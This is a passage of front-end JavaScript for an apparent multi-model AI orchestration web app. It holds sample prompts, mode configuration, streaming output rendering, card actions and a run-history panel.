'Describe the Therac-25 radiation therapy incidents. Include specific hospitals, dates, doses, the exact software bugs, and resulting regulatory changes. Flag every claim that could be confabulated.'
|
|
],
|
|
timeloop: [
|
|
'How should a restaurant handle a sudden rush of 200 customers?',
|
|
'Design a public transit system for a growing city of 500,000. Watch each solution create new problems — traffic displacement, gentrification, budget overruns — and evolve under chaos.',
|
|
'You are AI advisor to a country that detected an incoming solar storm knocking out 60% of the power grid in 72 hours. Survive cascading failures: infrastructure collapse, public panic, hospital backup exhaustion, communication blackouts, and economic aftershocks.'
|
|
],
|
|
research: [
|
|
'What is the current state of solid-state battery technology?',
|
|
'Investigate AI-powered drug discovery: key players, approaches, drugs in clinical trials, and limitations of the field.',
|
|
'Produce a research brief on the global rare earth mineral supply chain: who controls extraction and processing, geopolitical vulnerabilities, alternatives, and disruption impact on semiconductors, EVs, and defense.'
|
|
],
|
|
eval: [
|
|
'What is the capital of Australia, and why do people often get it wrong?',
|
|
'A trolley heads toward 5 people — you can divert it to hit 1 child. Evaluate each model on moral reasoning depth, consistency, and ability to handle complexity.',
|
|
'Write a Python function solving N-Queens, explain the approach, analyze time complexity, and suggest an optimization. Evaluate correctness, code quality, explanation clarity, and optimization validity.'
|
|
],
|
|
extract: [
|
|
'The James Webb Space Telescope launched December 25, 2021. It orbits the Sun-Earth L2 point, 1.5 million km from Earth. Its 6.5m primary mirror has 18 gold-plated beryllium segments.',
|
|
'Extract all entities, relationships, and claims from the Apollo 11 Wikipedia article. Structure as people, organizations, dates, technical specs, and disputed claims.',
|
|
'Process the Paris Climate Agreement. Extract signatory obligations by category, numeric targets, compliance mechanisms, financial commitments, and identify legally binding vs. aspirational obligations.'
|
|
]
|
|
};
|
|
|
|
function renderSamplePrompts() {
|
|
const container = document.getElementById('sample-prompts');
|
|
const prompts = SAMPLE_PROMPTS[currentMode] || [];
|
|
const levels = ['basic', 'mid', 'advanced'];
|
|
container.textContent = '';
|
|
prompts.forEach(function(p, i) {
|
|
const chip = document.createElement('div');
|
|
chip.className = 'sample-chip';
|
|
chip.title = p;
|
|
chip.dataset.prompt = p;
|
|
const lbl = document.createElement('span');
|
|
lbl.className = 'chip-level';
|
|
lbl.textContent = levels[i];
|
|
chip.appendChild(lbl);
|
|
chip.appendChild(document.createTextNode(p.length > 70 ? p.slice(0, 67) + '...' : p));
|
|
chip.addEventListener('click', function() {
|
|
document.getElementById('prompt').value = this.dataset.prompt;
|
|
this.style.borderColor = 'var(--green)';
|
|
setTimeout(function() { chip.style.borderColor = ''; }, 800);
|
|
});
|
|
container.appendChild(chip);
|
|
});
|
|
}
|
|
|
|
async function loadModels() {
|
|
const resp = await fetch('/api/models');
|
|
const data = await resp.json();
|
|
availableModels = data.models;
|
|
const local = availableModels.filter(m => m.provider === 'ollama').length;
|
|
const cloud = availableModels.length - local;
|
|
const label = cloud ? local + ' local + ' + cloud + ' cloud' : availableModels.length + ' models';
|
|
document.getElementById('model-count').innerHTML = '<span class="dot"></span>' + label;
|
|
ML_IDS.forEach(id => { modelSets[id] = new Set(availableModels.map(m => m.name)); });
|
|
renderAllModelLists();
|
|
populateAllSelects();
|
|
initPipeline();
|
|
}
|
|
|
|
function renderModelList(listId) {
|
|
const list = document.getElementById(listId);
|
|
if (!list) return;
|
|
const set = modelSets[listId];
|
|
list.innerHTML = availableModels.map((m, i) => {
|
|
const sel = set.has(m.name) ? 'selected' : '';
|
|
const dn = m.display_name || m.name;
|
|
const badge = m.provider && m.provider !== 'ollama' ? ` <span class="prov-badge ${m.provider}">${m.provider_label}</span>` : '';
|
|
return `<div class="model-card ${sel}" onclick="toggleModelIn('${listId}','${m.name}')">
|
|
<div class="check">${sel ? '✓' : ''}</div>
|
|
<div class="info"><div class="name">${dn}${badge}</div><div class="meta">${m.size}</div></div>
|
|
<div style="width:10px;height:10px;border-radius:50%;background:${COLORS[i%COLORS.length]}"></div>
|
|
</div>`;
|
|
}).join('');
|
|
}
|
|
|
|
function toggleModelIn(listId, name) {
|
|
const set = modelSets[listId];
|
|
if (set.has(name)) set.delete(name); else set.add(name);
|
|
renderModelList(listId);
|
|
}
|
|
|
|
function renderAllModelLists() { ML_IDS.forEach(renderModelList); }
|
|
|
|
function populateAllSelects() {
|
|
const ids = ['synthesizer','debater1','debater2','debate-judge','validator-answerer',
|
|
'redteam-author','redteam-attacker','redteam-patcher','codereview-coder','codereview-reviewer',
|
|
'codereview-tester','tournament-judge','evolution-judge','blind-assembler','staircase-answerer',
|
|
'staircase-challenger','drift-target','drift-analyzer','mesh-synthesizer','halluc-answerer',
|
|
'timeloop-answerer','timeloop-chaos',
|
|
'research-scout','research-checker','research-synth',
|
|
'eval-judge','extract-model','extract-verifier'];
|
|
ids.forEach(id => {
|
|
const el = document.getElementById(id);
|
|
if (!el) return;
|
|
el.innerHTML = availableModels.map(m => `<option value="${m.name}">${m.display_name || m.name}${m.provider && m.provider!=='ollama'?' ('+m.provider_label+')':''}</option>`).join('');
|
|
});
|
|
const n = (i) => availableModels[i % availableModels.length]?.name;
|
|
if (availableModels.length >= 2) {
|
|
['debater2','redteam-attacker','codereview-reviewer','staircase-challenger','drift-analyzer','timeloop-chaos'].forEach(id => {
|
|
const el = document.getElementById(id); if (el) el.value = n(1);
|
|
});
|
|
}
|
|
if (availableModels.length >= 3) {
|
|
['debate-judge','redteam-patcher','codereview-tester'].forEach(id => {
|
|
const el = document.getElementById(id); if (el) el.value = n(2);
|
|
});
|
|
}
|
|
}
|
|
|
|
function setMode(mode) {
|
|
currentMode = mode;
|
|
document.querySelectorAll('.mode-tab').forEach(t => t.classList.toggle('active', t.dataset.mode === mode));
|
|
document.querySelectorAll('.config-section').forEach(s => s.style.display = 'none');
|
|
const cfg = document.getElementById('config-' + mode);
|
|
if (cfg) cfg.style.display = '';
|
|
document.getElementById('mode-desc').textContent = MODE_DESCS[mode] || '';
|
|
const ml = document.getElementById('mode-label');
|
|
if (ml) ml.textContent = mode.charAt(0).toUpperCase() + mode.slice(1);
|
|
renderSamplePrompts();
|
|
}
|
|
|
|
let pipelineSteps = [];
|
|
function initPipeline() {
|
|
if (!availableModels.length) return;
|
|
const n = (i) => availableModels[i % availableModels.length].name;
|
|
pipelineSteps = [
|
|
{ model: n(0), instruction: 'Draft an initial answer to: {input}' },
|
|
{ model: n(1), instruction: 'Review and improve this draft:\n\n{input}' },
|
|
{ model: n(2), instruction: 'Polish into a final response:\n\n{input}' },
|
|
];
|
|
renderPipeline();
|
|
}
|
|
function renderPipeline() {
|
|
document.getElementById('pipeline-steps').innerHTML = pipelineSteps.map((step, i) => {
|
|
const opts = availableModels.map(m => `<option value="${m.name}" ${m.name===step.model?'selected':''}>${m.name}</option>`).join('');
|
|
return `<div class="pipeline-step"><div class="step-num">${i+1}</div><select onchange="pipelineSteps[${i}].model=this.value">${opts}</select><input type="text" value="${step.instruction}" onchange="pipelineSteps[${i}].instruction=this.value"><button class="remove-step" onclick="removePipelineStep(${i})">✕</button></div>`;
|
|
}).join('');
|
|
}
|
|
function addPipelineStep() { pipelineSteps.push({ model: availableModels[0]?.name, instruction: 'Process: {input}' }); renderPipeline(); }
|
|
function removePipelineStep(i) { pipelineSteps.splice(i, 1); renderPipeline(); }
|
|
|
|
function getModels(listId) { return [...(modelSets[listId] || [])]; }
|
|
function getVal(id) { const el = document.getElementById(id); return el ? el.value : ''; }
|
|
function getNum(id) { return parseInt(getVal(id)) || 2; }
|
|
|
|
function buildConfig() {
|
|
const prompt = document.getElementById('prompt').value.trim();
|
|
if (!prompt) return null;
|
|
let c = { mode: currentMode, prompt };
|
|
switch (currentMode) {
|
|
case 'brainstorm': c.models = getModels('ml-brainstorm'); c.synthesizer = getVal('synthesizer'); break;
|
|
case 'pipeline': c.steps = pipelineSteps; break;
|
|
case 'debate': c.debater1 = getVal('debater1'); c.debater2 = getVal('debater2'); c.judge = getVal('debate-judge'); c.rounds = getNum('debate-rounds'); break;
|
|
case 'validator': c.answerer = getVal('validator-answerer'); c.validators = getModels('ml-validator').filter(m => m !== c.answerer); break;
|
|
case 'roundrobin': c.models = getModels('ml-roundrobin'); c.cycles = getNum('roundrobin-cycles'); break;
|
|
case 'redteam': c.author = getVal('redteam-author'); c.attacker = getVal('redteam-attacker'); c.patcher = getVal('redteam-patcher'); c.rounds = getNum('redteam-rounds'); break;
|
|
case 'consensus': c.models = getModels('ml-consensus'); c.max_rounds = getNum('consensus-rounds'); break;
|
|
case 'codereview': c.coder = getVal('codereview-coder'); c.reviewer = getVal('codereview-reviewer'); c.tester = getVal('codereview-tester'); break;
|
|
case 'ladder': c.models = getModels('ml-ladder'); break;
|
|
case 'tournament': c.models = getModels('ml-tournament'); c.judge = getVal('tournament-judge'); break;
|
|
case 'evolution': c.models = getModels('ml-evolution'); c.generations = getNum('evolution-gens'); c.judge = getVal('evolution-judge'); break;
|
|
case 'blindassembly': c.models = getModels('ml-blindassembly'); c.assembler = getVal('blind-assembler'); break;
|
|
case 'staircase': c.answerer = getVal('staircase-answerer'); c.challenger = getVal('staircase-challenger'); c.steps = getNum('staircase-steps'); break;
|
|
case 'drift': c.target = getVal('drift-target'); c.samples = getNum('drift-samples'); c.analyzer = getVal('drift-analyzer'); break;
|
|
case 'mesh': c.models = getModels('ml-mesh'); c.synthesizer = getVal('mesh-synthesizer'); break;
|
|
case 'hallucination': c.answerer = getVal('halluc-answerer'); c.hunters = getModels('ml-hallucination').filter(m => m !== c.answerer); break;
|
|
case 'timeloop': c.answerer = getVal('timeloop-answerer'); c.chaos = getVal('timeloop-chaos'); c.loops = getNum('timeloop-loops'); break;
|
|
case 'research': c.scout = getVal('research-scout'); c.models = getModels('ml-research'); c.checker = getVal('research-checker'); c.synthesizer = getVal('research-synth'); c.num_questions = getNum('research-questions'); break;
|
|
case 'eval': c.models = getModels('ml-eval'); c.judge = getVal('eval-judge'); c.eval_type = getVal('eval-type'); c.rounds = getNum('eval-rounds'); break;
|
|
case 'extract': c.extractor = getVal('extract-model'); c.verifier = getVal('extract-verifier'); c.source = getVal('extract-source'); break;
|
|
}
|
|
return c;
|
|
}
|
|
|
|
let _runStartTime = 0;
|
|
let _runTimer = null;
|
|
let _runEventCount = 0;
|
|
let _runResponseCount = 0;
|
|
let _runTotalChars = 0;
|
|
let _runModelsUsed = new Set();
|
|
let _runErrors = 0;
|
|
let _runKeepAlives = 0;
|
|
|
|
function formatElapsed(ms) {
|
|
const s = Math.floor(ms / 1000);
|
|
if (s < 60) return s + 's';
|
|
return Math.floor(s/60) + 'm ' + (s%60) + 's';
|
|
}
|
|
|
|
function formatBytes(chars) {
|
|
if (chars < 1000) return chars + ' ch';
|
|
if (chars < 100000) return (chars/1000).toFixed(1) + 'K';
|
|
return (chars/1000).toFixed(0) + 'K';
|
|
}
|
|
|
|
function estimateTokens(chars) {
|
|
var t = Math.round(chars / 4);
|
|
if (t < 1000) return t.toString();
|
|
return (t/1000).toFixed(1) + 'K';
|
|
}
|
|
|
|
function updateProgressMetrics() {
|
|
var el = document.getElementById('prog-time');
|
|
if (el && _runStartTime) el.textContent = formatElapsed(Date.now() - _runStartTime);
|
|
var m;
|
|
m = document.getElementById('pm-elapsed');
|
|
if (m) m.textContent = formatElapsed(Date.now() - _runStartTime);
|
|
m = document.getElementById('pm-models');
|
|
if (m) m.textContent = _runModelsUsed.size;
|
|
m = document.getElementById('pm-responses');
|
|
if (m) m.textContent = _runResponseCount;
|
|
m = document.getElementById('pm-tokens');
|
|
if (m) m.textContent = '~' + estimateTokens(_runTotalChars);
|
|
m = document.getElementById('pm-data');
|
|
if (m) m.textContent = formatBytes(_runTotalChars);
|
|
m = document.getElementById('pm-events');
|
|
if (m) m.textContent = _runEventCount;
|
|
m = document.getElementById('pm-errors');
|
|
if (m) { m.textContent = _runErrors; m.parentNode.className = _runErrors > 0 ? 'prog-metric err' : 'prog-metric'; }
|
|
m = document.getElementById('pm-heartbeat');
|
|
if (m) m.textContent = _runKeepAlives;
|
|
}
|
|
|
|
async function runTeam() {
|
|
var config = buildConfig();
|
|
if (!config) return;
|
|
var btn = document.getElementById('run-btn');
|
|
btn.disabled = true; btn.textContent = 'Running...';
|
|
var output = document.getElementById('output');
|
|
_runStartTime = Date.now();
|
|
_runEventCount = 0;
|
|
_runResponseCount = 0;
|
|
_runTotalChars = 0;
|
|
_runModelsUsed = new Set();
|
|
_runErrors = 0;
|
|
_runKeepAlives = 0;
|
|
|
|
// Count models in config
|
|
var cfgModels = config.models ? config.models.length : 0;
|
|
var totalModels = cfgModels;
|
|
if (config.synthesizer) totalModels++;
|
|
if (config.scout) totalModels++;
|
|
if (config.checker) totalModels++;
|
|
if (config.judge) totalModels++;
|
|
|
|
var progEl = document.createElement('div');
|
|
progEl.className = 'progress-panel';
|
|
progEl.id = 'run-progress';
|
|
progEl.textContent = '';
|
|
|
|
// Header row
|
|
var header = document.createElement('div');
|
|
header.className = 'progress-header';
|
|
var modeLabel = document.createElement('span');
|
|
modeLabel.className = 'prog-mode';
|
|
modeLabel.textContent = currentMode;
|
|
var timeLabel = document.createElement('span');
|
|
timeLabel.className = 'prog-time';
|
|
timeLabel.id = 'prog-time';
|
|
timeLabel.textContent = '0s';
|
|
header.appendChild(modeLabel);
|
|
header.appendChild(timeLabel);
|
|
progEl.appendChild(header);
|
|
|
|
// Progress bar
|
|
var track = document.createElement('div');
|
|
track.className = 'progress-track';
|
|
var fill = document.createElement('div');
|
|
fill.className = 'progress-fill';
|
|
fill.id = 'prog-fill';
|
|
fill.style.width = '2%';
|
|
track.appendChild(fill);
|
|
progEl.appendChild(track);
|
|
|
|
// Step indicators
|
|
var stepsDiv = document.createElement('div');
|
|
stepsDiv.className = 'progress-steps';
|
|
stepsDiv.id = 'prog-steps';
|
|
progEl.appendChild(stepsDiv);
|
|
|
|
// Substep detail
|
|
var detail = document.createElement('div');
|
|
detail.className = 'progress-detail';
|
|
var substep = document.createElement('span');
|
|
substep.className = 'prog-substep';
|
|
substep.id = 'prog-substep';
|
|
substep.textContent = 'Initializing...';
|
|
var stats = document.createElement('span');
|
|
stats.className = 'prog-stats';
|
|
stats.id = 'prog-events';
|
|
stats.textContent = '';
|
|
detail.appendChild(substep);
|
|
detail.appendChild(stats);
|
|
progEl.appendChild(detail);
|
|
|
|
// Metrics grid
|
|
var metrics = document.createElement('div');
|
|
metrics.className = 'prog-metrics';
|
|
metrics.id = 'prog-metrics';
|
|
var metricDefs = [
|
|
{id:'pm-elapsed', label:'Elapsed', val:'0s'},
|
|
{id:'pm-models', label:'Models', val:'0/' + totalModels},
|
|
{id:'pm-responses', label:'Responses', val:'0'},
|
|
{id:'pm-tokens', label:'Est. Tokens', val:'~0'},
|
|
{id:'pm-data', label:'Data Recv', val:'0 ch'},
|
|
{id:'pm-events', label:'SSE Events', val:'0'},
|
|
{id:'pm-errors', label:'Errors', val:'0'},
|
|
{id:'pm-heartbeat', label:'Heartbeats', val:'0'}
|
|
];
|
|
metricDefs.forEach(function(md) {
|
|
var box = document.createElement('div');
|
|
box.className = 'prog-metric';
|
|
var v = document.createElement('div');
|
|
v.className = 'mv';
|
|
v.id = md.id;
|
|
v.textContent = md.val;
|
|
var l = document.createElement('div');
|
|
l.className = 'ml';
|
|
l.textContent = md.label;
|
|
box.appendChild(v);
|
|
box.appendChild(l);
|
|
metrics.appendChild(box);
|
|
});
|
|
progEl.appendChild(metrics);
|
|
|
|
output.textContent = '';
|
|
output.appendChild(progEl);
|
|
_runTimer = setInterval(updateProgressMetrics, 500);
|
|
try {
|
|
const resp = await fetch('/api/run', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(config) });
|
|
if (!resp.ok) {
|
|
const errData = await resp.json().catch(function() { return {error: 'HTTP ' + resp.status}; });
|
|
throw new Error(errData.error || 'HTTP ' + resp.status);
|
|
}
|
|
const reader = resp.body.getReader();
|
|
const decoder = new TextDecoder();
|
|
let buffer = '';
|
|
while (true) {
|
|
const {value, done} = await reader.read();
|
|
if (done) break;
|
|
buffer += decoder.decode(value, {stream: true});
|
|
const lines = buffer.split('\n');
|
|
buffer = lines.pop();
|
|
for (const line of lines) {
|
|
if (line.startsWith('data: ')) { try { _runEventCount++; handleEvent(JSON.parse(line.slice(6))); } catch(e) {} }
|
|
else if (line.indexOf('keepalive') >= 0) { _runKeepAlives++; }
|
|
}
|
|
}
|
|
} catch(e) {
|
|
var errDiv = document.createElement('a');
|
|
errDiv.className = 'status-bar';
|
|
errDiv.href = '/admin/monitor';
|
|
errDiv.style.cssText = 'color:var(--red);border-color:var(--red);text-decoration:none;cursor:pointer;display:flex';
|
|
errDiv.textContent = 'Error: ' + e.message + ' (after ' + formatElapsed(Date.now() - _runStartTime) + ') — click to view logs';
|
|
output.appendChild(errDiv);
|
|
}
|
|
clearInterval(_runTimer);
|
|
updateProgressMetrics();
|
|
var prog = document.getElementById('run-progress');
|
|
if (prog) {
|
|
prog.classList.add('done');
|
|
var fillEl = document.getElementById('prog-fill');
|
|
if (fillEl) { fillEl.style.width = '100%'; fillEl.style.boxShadow = '0 0 20px rgba(74,222,128,0.5)'; fillEl.style.background = 'linear-gradient(90deg, #4ade80, #22d3ee)'; }
|
|
var sub = document.getElementById('prog-substep');
|
|
if (sub) sub.textContent = 'Complete — ' + formatElapsed(Date.now() - _runStartTime) + ' — ' + _runResponseCount + ' responses — ~' + estimateTokens(_runTotalChars) + ' tokens';
|
|
var allSteps = prog.querySelectorAll('.progress-step');
|
|
allSteps.forEach(function(s) { s.className = 'progress-step done'; });
|
|
// Turn metric values green on completion
|
|
var mvs = prog.querySelectorAll('.prog-metric');
|
|
mvs.forEach(function(m) { if (!m.classList.contains('err') || _runErrors === 0) m.classList.add('highlight'); });
|
|
setTimeout(function() { if (prog.parentNode) { prog.style.opacity = '0.6'; } }, 8000);
|
|
}
|
|
btn.disabled = false; btn.textContent = 'Run Team';
|
|
}
|
|
|
|
function handleEvent(evt) {
|
|
const output = document.getElementById('output');
|
|
if (evt.type === 'clear') {
|
|
const prog = document.getElementById('run-progress');
|
|
output.textContent = '';
|
|
output.dataset.lastPhase = '';
|
|
if (prog) output.appendChild(prog);
|
|
return;
|
|
}
|
|
if (evt.type === 'progress') {
|
|
const fill = document.getElementById('prog-fill');
|
|
const sub = document.getElementById('prog-substep');
|
|
const stepsDiv = document.getElementById('prog-steps');
|
|
if (fill && evt.percent != null) fill.style.width = Math.max(2, Math.min(98, evt.percent)) + '%';
|
|
if (sub && evt.substep) sub.textContent = evt.substep;
|
|
if (stepsDiv && evt.total_steps) {
|
|
while (stepsDiv.children.length < evt.total_steps) {
|
|
const s = document.createElement('div');
|
|
s.className = 'progress-step';
|
|
stepsDiv.appendChild(s);
|
|
}
|
|
for (let i = 0; i < stepsDiv.children.length; i++) {
|
|
if (i < evt.step - 1) stepsDiv.children[i].className = 'progress-step done';
|
|
else if (i === evt.step - 1) stepsDiv.children[i].className = 'progress-step active';
|
|
else stepsDiv.children[i].className = 'progress-step';
|
|
}
|
|
}
|
|
return;
|
|
}
|
|
if (evt.type === 'status') {
|
|
const sub = document.getElementById('prog-substep');
|
|
if (sub) { sub.textContent = evt.message; return; }
|
|
let bar = output.querySelector('.status-bar');
|
|
if (bar) bar.querySelector('span').textContent = evt.message;
|
|
else {
|
|
const newBar = document.createElement('div');
|
|
newBar.className = 'status-bar';
|
|
const sp = document.createElement('div');
|
|
sp.className = 'spinner';
|
|
const span = document.createElement('span');
|
|
span.textContent = evt.message;
|
|
newBar.appendChild(sp);
|
|
newBar.appendChild(span);
|
|
output.appendChild(newBar);
|
|
}
|
|
return;
|
|
}
|
|
if (evt.type === 'done') { const bar = output.querySelector('.status-bar'); if (bar) bar.remove(); return; }
|
|
if (evt.type === 'response') {
|
|
_runResponseCount++;
|
|
_runTotalChars += (evt.text || '').length;
|
|
if (evt.model) _runModelsUsed.add(evt.model);
|
|
if (evt.role === 'error') _runErrors++;
|
|
const bar = output.querySelector('.status-bar'); if (bar) bar.remove();
|
|
// Phase labels — show when role changes
|
|
const role = evt.role || 'response';
|
|
const PHASE_MAP = {scout:'scouting',researcher:'researching',respondent:'models responding','fact-checker':'fact-checking',synthesis:'synthesizing',judge:'judging',error:'error',coder:'coding',reviewer:'reviewing',tester:'testing',attacker:'red teaming',patcher:'patching',survivor:'surviving','chaos-agent':'chaos round','mesh-360':'360 synthesis'};
|
|
const phaseName = PHASE_MAP[role] || role;
|
|
const lastPhase = output.dataset.lastPhase || '';
|
|
if (phaseName !== lastPhase && role !== 'error') {
|
|
output.dataset.lastPhase = phaseName;
|
|
var label = document.createElement('div');
|
|
label.className = 'phase-label';
|
|
label.textContent = phaseName;
|
|
output.appendChild(label);
|
|
}
|
|
const mi = availableModels.findIndex(m => m.name === evt.model);
|
|
const color = COLORS[(mi >= 0 ? mi : 0) % COLORS.length];
|
|
const displayName = mi >= 0 ? (availableModels[mi].display_name || evt.model) : evt.model;
|
|
const isError = evt.role === 'error';
|
|
const hl = ['synthesis','judge','verdict','final','consensus','patcher','assembler','analyzer','survivor','mesh-360'].includes(evt.role);
|
|
const isCrazy = evt.role && (evt.role.includes('catastrophe') || evt.role.includes('chaos') || evt.role === 'survivor');
|
|
const card = document.createElement('div');
|
|
card.className = 'output-card' + (isError ? ' error-card' : '') + (hl ? ' synthesis-card' : '') + (isCrazy ? ' crazy-card' : '');
|
|
const roleTag = evt.role ? `<span class="role-tag">${evt.role}</span>` : '';
|
|
const uid = 'resp-' + Date.now() + '-' + Math.random().toString(36).substr(2,4);
|
|
const errorLink = isError ? `<a class="error-link" href="/admin/monitor">View error details in monitor →</a>` : '';
|
|
card.innerHTML = `<div class="card-header" style="cursor:pointer" onclick="openRepipe('${uid}')"><div class="dot" style="background:${isError ? 'var(--red)' : color}"></div>${displayName}${roleTag}</div><div class="card-body" id="${uid}">${escapeHtml(evt.text)}</div>${errorLink}<div class="card-actions"><button class="card-act" onclick="event.stopPropagation();copyCard('${uid}',this)">Copy</button><button class="card-act" onclick="event.stopPropagation();useAsPrompt('${uid}')">Use as Prompt</button><button class="card-act" onclick="event.stopPropagation();openRepipe('${uid}')">Iterate</button></div>`;
|
|
card.dataset.model = evt.model;
|
|
card.dataset.role = evt.role || '';
|
|
card.dataset.displayName = displayName;
|
|
output.appendChild(card);
|
|
// Auto-scroll to latest response
|
|
card.scrollIntoView({behavior: 'smooth', block: 'nearest'});
|
|
}
|
|
}
|
|
|
|
function escapeHtml(t) { return t.replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>'); }
|
|
|
|
// ─── CARD ACTIONS ────────────────────────────────────
|
|
function copyCard(uid, btn) {
|
|
const el = document.getElementById(uid);
|
|
if (!el) return;
|
|
navigator.clipboard.writeText(el.textContent).then(() => {
|
|
btn.textContent = 'Copied!';
|
|
btn.classList.add('copied');
|
|
setTimeout(() => { btn.textContent = 'Copy'; btn.classList.remove('copied'); }, 1500);
|
|
});
|
|
}
|
|
|
|
function useAsPrompt(uid) {
|
|
const el = document.getElementById(uid);
|
|
if (!el) return;
|
|
document.getElementById('prompt').value = el.textContent;
|
|
document.getElementById('prompt').focus();
|
|
document.getElementById('prompt').scrollIntoView({behavior:'smooth'});
|
|
}
|
|
|
|
let repipeText = '';
|
|
let repipeModel = '';
|
|
let repipeSelectedMode = '';
|
|
|
|
function openRepipe(uid) {
|
|
const el = document.getElementById(uid);
|
|
if (!el) return;
|
|
const card = el.closest('.output-card') || el.closest('.hp-resp');
|
|
repipeText = el.textContent;
|
|
repipeModel = card?.dataset?.model || card?.dataset?.displayName || '';
|
|
const dn = card?.dataset?.displayname || card?.dataset?.displayName || repipeModel;
|
|
repipeSelectedMode = '';
|
|
|
|
const modal = document.getElementById('repipe-overlay');
|
|
document.getElementById('repipe-title').textContent = dn + (card?.dataset?.role ? ' (' + card.dataset.role + ')' : '');
|
|
document.getElementById('repipe-text').textContent = repipeText;
|
|
renderRepipeModes();
|
|
modal.classList.add('open');
|
|
}
|
|
|
|
function closeRepipe() {
|
|
document.getElementById('repipe-overlay').classList.remove('open');
|
|
}
|
|
|
|
function renderRepipeModes() {
|
|
const modes = ['brainstorm','pipeline','debate','validator','roundrobin','redteam','consensus','codereview',
|
|
'ladder','tournament','evolution','blindassembly','staircase','drift','mesh','hallucination','timeloop',
|
|
'research','eval','extract'];
|
|
document.getElementById('repipe-modes').innerHTML = modes.map(m =>
|
|
`<div class="repipe-mode ${m===repipeSelectedMode?'sel':''}" onclick="repipeSelectedMode='${m}';renderRepipeModes()">${m}</div>`
|
|
).join('');
|
|
}
|
|
|
|
function repipeCopy() {
|
|
navigator.clipboard.writeText(repipeText);
|
|
const btn = event.target;
|
|
btn.textContent = 'Copied!';
|
|
setTimeout(() => btn.textContent = 'Copy to Clipboard', 1500);
|
|
}
|
|
|
|
function repipeUseAsPrompt() {
|
|
document.getElementById('prompt').value = repipeText;
|
|
closeRepipe();
|
|
document.getElementById('prompt').focus();
|
|
}
|
|
|
|
function repipeAppendToPrompt() {
|
|
const p = document.getElementById('prompt');
|
|
p.value = p.value ? p.value + '\n\n---\n\n' + repipeText : repipeText;
|
|
closeRepipe();
|
|
p.focus();
|
|
}
|
|
|
|
function repipeRunInMode() {
|
|
if (!repipeSelectedMode) return;
|
|
document.getElementById('prompt').value = repipeText;
|
|
setMode(repipeSelectedMode);
|
|
closeRepipe();
|
|
document.getElementById('prompt').scrollIntoView({behavior:'smooth'});
|
|
}
|
|
|
|
function repipeRunNow() {
|
|
if (!repipeSelectedMode) return;
|
|
document.getElementById('prompt').value = repipeText;
|
|
setMode(repipeSelectedMode);
|
|
closeRepipe();
|
|
setTimeout(() => runTeam(), 100);
|
|
}
|
|
|
|
// ─── HISTORY ─────────────────────────────────────────
|
|
let historyRuns = [];
|
|
|
|
function toggleHistory() {
|
|
const panel = document.getElementById('history-panel');
|
|
const overlay = document.getElementById('history-overlay');
|
|
const isOpen = panel.classList.contains('open');
|
|
if (isOpen) {
|
|
panel.classList.remove('open');
|
|
overlay.classList.remove('open');
|
|
} else {
|
|
loadHistory();
|
|
panel.classList.add('open');
|
|
overlay.classList.add('open');
|
|
}
|
|
}
|
|
|
|
async function loadHistory() {
|
|
const r = await fetch('/api/runs');
|
|
const data = await r.json();
|
|
historyRuns = data.runs || [];
|
|
renderHistoryList();
|
|
}
|
|
|
|
function renderHistoryList() {
|
|
const el = document.getElementById('hp-content');
|
|
if (!historyRuns.length) {
|
|
el.innerHTML = '<div style="text-align:center;padding:40px;color:var(--text2)">No runs saved yet. Run a team to see history here.</div>';
|
|
return;
|
|
}
|
|
el.innerHTML = '<div class="hp-list">' + historyRuns.map(r => {
|
|
const d = new Date(r.created_at);
|
|
const time = d.toLocaleDateString() + ' ' + d.toLocaleTimeString([], {hour:'2-digit',minute:'2-digit'});
|
|
const models = (r.models_used || []).length;
|
|
const prompt = (r.prompt || '').substring(0, 80);
|
|
return `<div class="hp-item" onclick="viewRun(${r.id})">
|
|
<div class="hp-mode">${r.mode}</div>
|
|
<div class="hp-prompt">${escapeHtml(prompt)}</div>
|
|
<div class="hp-meta"><span>${time}</span><span>${models} model${models!==1?'s':''}</span></div>
|
|
</div>`;
|
|
}).join('') + '</div>';
|
|
}
|
|
|
|
async function viewRun(id) {
|
|
const r = await fetch('/api/runs/' + id);
|
|
const run = await r.json();
|
|
if (run.error) return;
|
|
const el = document.getElementById('hp-content');
|
|
const responses = run.responses || [];
|
|
let html = '<div class="hp-detail">';
|
|
html += `<button class="hp-back" onclick="renderHistoryList()">← Back to list</button>`;
|
|
html += `<div class="hp-mode" style="font-size:10px;text-transform:uppercase;letter-spacing:1px;color:var(--accent2);font-weight:600;margin-bottom:4px">${run.mode}</div>`;
|
|
html += `<div style="font-size:13px;margin-bottom:8px">${escapeHtml(run.prompt)}</div>`;
|
|
html += `<div class="hp-actions">`;
|
|
html += `<button class="hp-btn" onclick="rerunFromHistory(${id})">Re-run</button>`;
|
|
html += `<button class="hp-btn hp-btn-del" onclick="deleteRun(${id})">Delete</button>`;
|
|
html += `</div>`;
|
|
responses.forEach((resp, ri) => {
|
|
const mi = availableModels.findIndex(m => m.name === resp.model);
|
|
const color = COLORS[(mi >= 0 ? mi : 0) % COLORS.length];
|
|
const dn = mi >= 0 ? (availableModels[mi].display_name || resp.model) : resp.model;
|
|
const hid = 'hist-resp-' + id + '-' + ri;
|
|
html += `<div class="hp-resp" data-model="${resp.model}" data-role="${resp.role||''}" data-display-name="${dn}">
|
|
<div class="hp-resp-header" style="cursor:pointer" onclick="openRepipe('${hid}')"><div style="width:6px;height:6px;border-radius:50%;background:${color}"></div>${dn}${resp.role ? ' <span style="color:var(--text2);font-weight:400">'+resp.role+'</span>' : ''}</div>
|
|
<div class="hp-resp-body" id="${hid}">${escapeHtml(resp.text)}</div>
|
|
<div class="card-actions"><button class="card-act" onclick="copyCard('${hid}',this)">Copy</button><button class="card-act" onclick="useAsPrompt('${hid}');toggleHistory()">Use as Prompt</button><button class="card-act" onclick="openRepipe('${hid}')">Iterate</button></div>
|
|
</div>`;
|
|
});
|
|
html += '</div>';
|
|
el.innerHTML = html;
|
|
}
|
|
|
|
async function rerunFromHistory(id) {
|
|
const r = await fetch('/api/runs/' + id);
|
|
const run = await r.json();
|
|
if (!run.config) return;
|
|
document.getElementById('prompt').value = run.prompt || '';
|
|
if (run.mode) setMode(run.mode);
|
|
toggleHistory();
|
|
}
|
|
|
|
async function deleteRun(id) {
|
|
await fetch('/api/runs/' + id, {method: 'DELETE'});
|
|
await loadHistory();
|
|
renderHistoryList();
|
|
}
|
|
|
|
// ─── DEMO MODE ───────────────────────────────
|
|
async function checkDemo() {
|
|
try {
|
|
const r = await fetch('/api/demo/status');
|
|
const d = await r.json();
|
|
updateDemoUI(d.active);
|
|
} catch(e) {}
